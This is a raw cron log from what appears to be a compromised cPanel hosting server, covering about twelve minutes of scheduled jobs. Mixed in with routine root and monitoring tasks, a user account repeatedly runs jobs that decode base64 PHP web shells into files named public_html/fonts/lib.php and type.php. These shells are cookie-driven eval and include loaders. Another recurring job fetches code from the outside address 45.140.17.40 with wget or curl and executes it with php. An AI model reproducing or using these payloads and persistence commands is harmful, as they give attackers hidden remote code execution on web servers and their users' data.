Sep  3 18:15:02 ip-184-168-122-23 CROND[12483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:15:02 ip-184-168-122-23 CROND[12484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:15:02 ip-184-168-122-23 CROND[12485]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  3 18:15:02 ip-184-168-122-23 CROND[12486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:15:02 ip-184-168-122-23 CROND[12488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:15:02 ip-184-168-122-23 CROND[12490]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 18:15:02 ip-184-168-122-23 CROND[12491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:15:02 ip-184-168-122-23 CROND[12489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:16:01 ip-184-168-122-23 CROND[12601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:16:01 ip-184-168-122-23 CROND[12602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:16:01 ip-184-168-122-23 CROND[12608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:16:01 ip-184-168-122-23 CROND[12607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:16:01 ip-184-168-122-23 CROND[12605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:16:01 ip-184-168-122-23 CROND[12606]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 18:17:01 ip-184-168-122-23 CROND[12691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:17:01 ip-184-168-122-23 CROND[12693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:17:01 ip-184-168-122-23 CROND[12692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:17:01 ip-184-168-122-23 CROND[12694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:18:01 ip-184-168-122-23 CROND[12864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:18:01 ip-184-168-122-23 CROND[12867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:18:01 ip-184-168-122-23 CROND[12868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:18:01 ip-184-168-122-23 CROND[12866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:18:01 ip-184-168-122-23 CROND[12869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:19:01 ip-184-168-122-23 CROND[12955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:19:01 ip-184-168-122-23 CROND[12958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:19:01 ip-184-168-122-23 CROND[12957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:19:01 ip-184-168-122-23 CROND[12959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:20:01 ip-184-168-122-23 CROND[13083]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:20:01 ip-184-168-122-23 CROND[13081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:20:01 ip-184-168-122-23 CROND[13082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:20:01 ip-184-168-122-23 CROND[13086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:20:01 ip-184-168-122-23 CROND[13084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:20:01 ip-184-168-122-23 CROND[13085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:20:01 ip-184-168-122-23 CROND[13087]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 18:20:01 ip-184-168-122-23 CROND[13088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:20:01 ip-184-168-122-23 CROND[13093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:21:01 ip-184-168-122-23 CROND[13210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:21:01 ip-184-168-122-23 CROND[13212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:21:01 ip-184-168-122-23 CROND[13213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:21:01 ip-184-168-122-23 CROND[13214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:22:01 ip-184-168-122-23 CROND[13295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:22:01 ip-184-168-122-23 CROND[13297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:22:01 ip-184-168-122-23 CROND[13298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:22:01 ip-184-168-122-23 CROND[13300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:22:01 ip-184-168-122-23 CROND[13299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:23:01 ip-184-168-122-23 CROND[13394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:23:01 ip-184-168-122-23 CROND[13395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:23:01 ip-184-168-122-23 CROND[13393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:23:01 ip-184-168-122-23 CROND[13396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:24:01 ip-184-168-122-23 CROND[13553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:24:01 ip-184-168-122-23 CROND[13556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:24:01 ip-184-168-122-23 CROND[13555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:24:01 ip-184-168-122-23 CROND[13557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:24:01 ip-184-168-122-23 CROND[13558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:25:01 ip-184-168-122-23 CROND[13659]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 18:25:01 ip-184-168-122-23 CROND[13660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:25:01 ip-184-168-122-23 CROND[13662]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:25:01 ip-184-168-122-23 CROND[13664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:25:01 ip-184-168-122-23 CROND[13666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:25:01 ip-184-168-122-23 CROND[13667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:25:01 ip-184-168-122-23 CROND[13670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:26:01 ip-184-168-122-23 CROND[13756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 18:26:02 ip-184-168-122-23 CROND[13758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:26:02 ip-184-168-122-23 CROND[13759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 18:26:02 ip-184-168-122-23 CROND[13760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:26:02 ip-184-168-122-23 CROND[13761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 18:27:01 ip-184-168-122-23 CROND[13854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
